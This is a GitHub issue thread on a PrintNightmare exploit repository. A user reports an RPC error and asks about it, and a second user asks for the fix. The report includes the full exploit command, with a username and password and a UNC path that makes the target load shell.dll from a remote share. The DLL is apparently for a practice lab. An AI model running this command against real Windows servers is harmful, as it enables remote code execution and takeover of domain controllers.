cube0x0 / CVE-2021-1675

C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
1.83k stars 581 forks source link

impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: unknown error code: 0x8001011b #60

Closed JimKwikX closed 2 years ago

JimKwikX commented 2 years ago

Hello, l Keep getting this error, but l followed all the impacket set up and it worked for another windows machine. Does anyone know what's this error means and the fixs? The target is a Microsoft Windows Server 2019 Standard DC, Thanks

└─# ./CVE-2021-1675.py 'test:Password789@192.168.170.155' '\192.168.170.153\share\shell.dll' 1 ⨯ [] Try 1... [] Connecting to ncacn_np:192.168.170.155[\PIPE\spoolss] [+] Bind OK [*] Uploading \192.168.170.153\share\shell.dll Traceback (most recent call last): File "/home/jkx/htb/driver/CVE-2021-1675/./CVE-2021-1675.py", line 119, in main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share) File "/home/jkx/htb/driver/CVE-2021-1675/./CVE-2021-1675.py", line 55, in main resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) File "/usr/local/lib/python3.9/dist-packages/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx return dce.request(request) File "/usr/local/lib/python3.9/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 878, in request raise exception impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: unknown error code: 0x8001011b

Rezy-Dev commented 1 year ago

What was the solutio to this?